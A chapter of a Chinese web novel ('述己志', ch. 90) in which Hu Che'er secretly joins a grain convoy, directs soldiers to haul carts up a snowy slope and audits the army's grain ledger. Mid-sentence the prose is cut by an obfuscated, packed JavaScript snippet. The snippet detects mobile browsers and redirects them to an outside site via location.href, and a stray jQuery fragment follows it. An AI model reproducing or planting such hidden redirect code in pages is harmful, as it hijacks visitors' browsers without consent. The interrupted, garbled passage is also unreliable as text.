90. 梦银汉(二)

作品:《述己志

    第九十章


    李域护送的粮草是从平城加急征筹的,数量不多,可维持三五日并没有问题。


    但送粮的军士却有五千人马。


    这于理不合。


    在军帐暂做休息的时候,车儿去见了李域。


    现军帐中管事的是一个名唤王珏的中年将士,车儿在刘琮帐中和此人打过几次照面,未曾交谈过。


    车儿站在帐外,听两人在帐中低声交谈,听的不是真切。


    她将将想往近凑一步,听的真切。


    帐中谈话的声音便是停了。


    “何人在外头?”


    有人掀帘探头一看。


    须臾,车儿便被迎进帐中。


    那名唤王珏的将士和李域皆停下话头。


    李域一直驻扎在平城,管辖平城的秩序,如今带领这么多将士前往留城送粮,车儿察觉到端倪,但未曾说破。


    待说明了来意。


    那中年将士对她吹胡子瞪眼睛的:“胡闹!两军开战非同儿戏,怎可带着女子出战!像你这般娇弱之姿,去了又能如何?只是徒增累赘,添加负担罢了。”


    车儿不卑不吭:“车儿不才,曾任将军帐中谋士,替将军出谋划策,也曾打过胜仗,如今时局与我军不利,车儿也想出一份微薄之力,为大将军出谋划策,天下兴亡,匹夫有责,即便车儿之力杯水车薪,也难挡车儿为国为民的拳拳真心。”


    此话有理有据,铿锵顿挫!


    王珏有听闻胡车儿为将军献计之事,彼时以他为男子,如今知晓她的身份,说什么也是不肯。


    连连摆手拒绝:“就算你说的天花乱坠又如何,本将是不会同意的,你还是安安心心呆在军中,等着大将军回来吧。”


    车儿视线往李域脸上望去,希望李域能替她说服王珏。


    哪知李域与她视线相撞,也点了点头,显然是赞同王珏所言。


    车儿打消了念头,对着李域道:“此去祁连,凶险异常,李将军务必小心,待见到大将军,替我问大将军安好。”


    李域拱手:“多谢车儿姑娘挂念,本将定会向大将军说明来意。”


    李域行的匆忙,破晓时分,便出发了。


    车儿夹杂在行军队伍中,不敢落下脚程。


    北行之路,车儿知晓应是难上加难,但未曾想到是这般的艰难。


    放眼望去,滢滢天机,一片冰天雪地,远处的群山和天际连成一线,白茫茫一片。


    沙地皆盖着没膝的积雪,一脚踩下去,先是柔软的积雪,再是棉若的细沙,伴着脚程,加之军袄厚重,让她根本就抬不起腿来。


    过了一个山峡,风愈发的大了起来。


    疾风裹着地上要融不融的冰碴子,呼啦啦地,全往脸上招呼。


    迎风行军,吹的呼吸都困难。


    车儿扯下脸上的纱巾,将盔帽往上一抚。


    前头李域领的骑兵已经下了马,一个牵着一马,往前头行军。


    人苦,马也苦。


    皆是陷在雪地里,寸步难行。


    运送粮草的辎重都落在后头。


    前头有将士见车儿将纱巾扯下,站在小丘上喊话:“那小将士,若不想大白天变成黑眼瞎,便将纱巾裹上。”


    叱喝被风声送来,声音微乎其微。


    车儿背过身去,大口喘了几下。


    将纱巾扎紧在面上。


    绕过一个下坡,地势便成了上势。


    这下愈发艰难起来。


    运送辎重的马车,陷在坡口,纹丝不动。


    前头有人过来查看,皱着眉头跑到前方去禀报了。


    有将士挥着手往车儿这边招呼:“你们几个,过来,一起推车。”


    于是,落在后头的几百名将士,便都过去推车。


    人力有限,将将推上坡路的车架,没了人力的推送,便顺着往下滑落。


    有人大喊:“别停着!再推!”


    如此几次,皆是繁复,车架难以上坡,将士们个个垂头丧气。


    咒骂天气。


    车儿瘦小,被挤到了边上,见将士齐齐用力时,拉车的绳索反倒是松的,辎重车本由战马在前头拉,让其后每车涌上几十个将士,一起用力,将战马的力道给卸了去。


    车儿对旁边指挥的将士道:“军爷,小的有计,可使车架上坡!”


    那将士也着急了,听有人献计,视线往这个矮小的士兵身上望去,速速说道:“有何良策?快讲!”


    车儿与那将士并肩站立,视着推车的将士道:“人马齐拉,反倒不能尽最大之力,应参差行之。”


    “如何参差行之?”


    风太大了,迎面吹来,全往嘴里灌,一张嘴,胸腔都是刺痛的。


    车儿懒得和这将士解释。


    从他手里接过指物旗,对着他嘿嘿一笑,道:“情况紧急,让小的来指挥吧。”


    车儿挥着指物旗,让推车的人分为三波。


    车架左辕十人,右辕十人,后架五人。


    两人控马,一左一右。


    喊一时:“推车人用力,齐齐推车。”


    喊二时:“控马者驱马上前。”


    如此使力,人力毕,马力驱,衔接无误,一鼓作气,将车架推上斜坡。


    等送消息的人将李域从前头迎来的时候,辎重皆已上了斜坡。


    指挥将士上禀:“多亏将才一瘦小的将士献策,才将车架赶上破来。”


    等这将士要找的时候,哪里还能找到一个身材瘦小的将士。


    人群里的将士个个魁梧高大。


    李域若有所思的点了点头,吩咐继续行军。


    晚些时候,出了太阳。


    明晃晃的日光撒了大地,刺眼的厉害,差点没有晃瞎车儿的眼睛。


    好在队伍已经行至一片被积雪覆盖的沙丘。


    广袤无垠,车儿不必担心会因自己一时不慎,跌至那个崖底。


    索性,闭着眼睛,静耳细听,跟着队伍。


    未及,行军停了。


    在一个风化了的山崖下,扎了营帐。


    车儿和几个将士挤在一起。


    外头疾风鬼哭狼嚎的,车儿躺在帐中边角,听着耳边传来其他将士的呼噜声,难以入睡。


    刘琮现下不知如何了?


    前头送来的消息总是不定,有人说他生死未卜,有人说他凯旋而回。


    她不放心,得亲自去看看。


    现在刘琮和她是一条绳上得蚂蚱,同舟共济得渡客。


    他不能死。


    车儿这般想着。


    帐帘被人掀开,灌进了冷风,睡着的将士被冷醒,真当准备破口大骂,待看见帐口的人,齐齐起来行礼。


    “李将军!”


    李域指着边上的人道:“你!出来!”


    车儿跟着李域到了主帐。


    李域见她满面污垢,一双手冻得通红,但一双眼睛却是星子一般。


    默默得叹了一口气。


    车儿本不好意思,这般佯装夹在行军队伍中,本是她的不是,听李域这一口叹气。


    她抬起头来,瞄了李域一眼,伸了一下脖子,据理道:“我也是为了大将军的安危着想,才想着去留城的。”又怕李域要说什么,接着道:“你莫要谴我!”


    李域从案几上拿出一杯热水,递到她手里:“车儿姑娘你自己都说,这一路苦难,为何还要只身犯险呢?你若是出了什么纰漏,让我如何让向大将军交代?”


    车儿握着瓷杯,才感觉到手上传来阵阵暖意。身子却不由自主的打起摆子来,别扭的一摆头,道:“不需要向他交代!”


    又道:“你莫要将我送回去!”


    李域点了点头,示意她喝水:“也罢!今夜你便在这帐中歇息吧,明日早起去留城。”


    车儿远远就望见留城了。


    怪不得刘琮说此城难攻呢,立于冰天雪地中,断崖相夹,北阻风,南纳雪。高高的雪原就立在城后。


    刘琮三军驻扎在一片断崖之外的百里。


    因断崖阻隔,地上并未有积雪,露出一大片凄惶的沙地。


    李域等人驱马前去之时,车儿也跟着去了。


    去了主帅大帐,并未见到刘琮。


    司马瓒眼神一转,在李域身后的胡车儿身上一定,瞬时气的吹胡子瞪眼。


    一甩衣袖:“胡闹!怎可让胡车儿来此!”


    车儿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323893|148430||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看司马赞胡子一抖一抖的,着实气的不轻。


    心里毛毛的,嘴上还是不示弱,往李域身后躲了一下,道:“怎……怎么了?你能在这里,我……我为什么不能在这里?你别忘了,我以前还是大将军的谋士呢!”


    司马瓒颤着嘴唇子,气道:“你!……”


    想着现在也不是和文昌置气的时候,强忍了几许,背对着文昌。


    对着李域说:“李将军这次送来的粮饷有多少?”


    李域道:“三十万石。”


    司马瓒摸着胡子道:“三十万石?理应够了,大将军去了已经有一日了……”


    车儿束起耳朵,想听司马瓒接下来的话语。


    司马瓒话头一顿,又道:“李将军舟车劳顿,先做休息,待晚些时候,微臣和将军细说。”


    淦!这书呆子!


    车儿气的直咬牙!


    将送来的粮草要重新归拢,司马瓒有其他事情要做,李域也不再打扰,拱手就要退下。


    对着胡车儿道:“车儿姑娘随我来吧!”


    车儿再去看司马瓒,希望他能说一些关于刘琮的消息。


    哪知得了司马瓒一个孤傲的后脑勺。


    索性离了营帐,随李域出了帐。


    帐子是临时空置出来的,小了些,车儿在榻上坐了须臾。


    便往后头去了。


    粮草已经被送至伙房营处,司马瓒和新上任的庾史正在平算。


    司马瓒看有人站在他边上,理都未理。


    对着庾史说:“时间紧急,须得仔细核算,三个时辰内均分下去,越快越好。”


    庾史面露难色:“三十万石军粮,数目庞大,核算最快也得两个时辰,加之要分发的话,微臣怕是力不从心。”


    司马瓒将要再说。


    身边一只通红的手伸了过来,两指捏着一个赤册:“呐!三十万石军粮,一粟一厘,一滴不少,全都核算在册。”


    司马瓒往文昌面上看去。


    见这人带着盔帽,视线偏向一侧,见他许久不接册子。


    手上一晃,这才看过来,向着他抬了抬下巴:“呐!”


    司马瓒从文昌手里接过册子,上头密密麻麻,写满了娟秀的楷字。


    三十万石军粮,果真是一厘不少,核算的仔仔细细,就连如何分发,都理的清清楚楚。


    他将赤册交给庾史:“按这上头算的分发!”


    庾史连连点头:“遵命遵命!”


    司马瓒问道:“两个时辰可以发的完吗?”


    庾史再三保证:“发的完,发的完,这小将士聪慧,这般清算,每石粮食历历在目,来去都有迹可寻,按着合格方法发放,一个时辰足以。”


    司马瓒才不想听庾史在这里涨他人志气呢。


    没好气的摆了摆手,让他下去。


    转身便走。


    胡车儿急了,赶上他的脚步,气骂道:“你好没道理,我又没有惹你,你为何于我不满,还有,我都给了你粮饷册子了,你都不感谢一下我?”


    司马瓒脚步不停:“我没有不满,车儿姑娘言重了,还有。”他脚步一停,对着车儿道:“请车儿姑娘莫要出现在我面前!”


    说着,甩袖走了。


    “大将军现在如何了?他人在哪里?”


    车儿跟着司马瓒,一直到了军帐中。司马瓒未和他说过一句话。


    她夜间未眠,呕心沥血理出来的军粮,本是无心之举,想着到了军中,定是要清算的,何不早早的平算好,没想到白白便宜了司马瓒这个白眼狼。


    李域已经做好了准备,等着司马瓒。


    看胡车儿跟在司马瓒后头进来,也没有觉得惊诧。


    司马瓒将将军的意思告知李域。


    两人商讨计策的时候,也不避讳车儿。


    车儿听的聚精会神。


    李域看车儿还是行军时的那一身派头,想起将军临走时的话,对车儿说:“车儿姑娘不必担心,大将军无事,不若姑娘先去帐中休息片刻。”


    她猜到了,刘琮是没有什么事情,那些负伤的将士带来的消息,只是他的障眼法。


    车儿抿了一口杯中的热茶,轻轻“哦”了一声。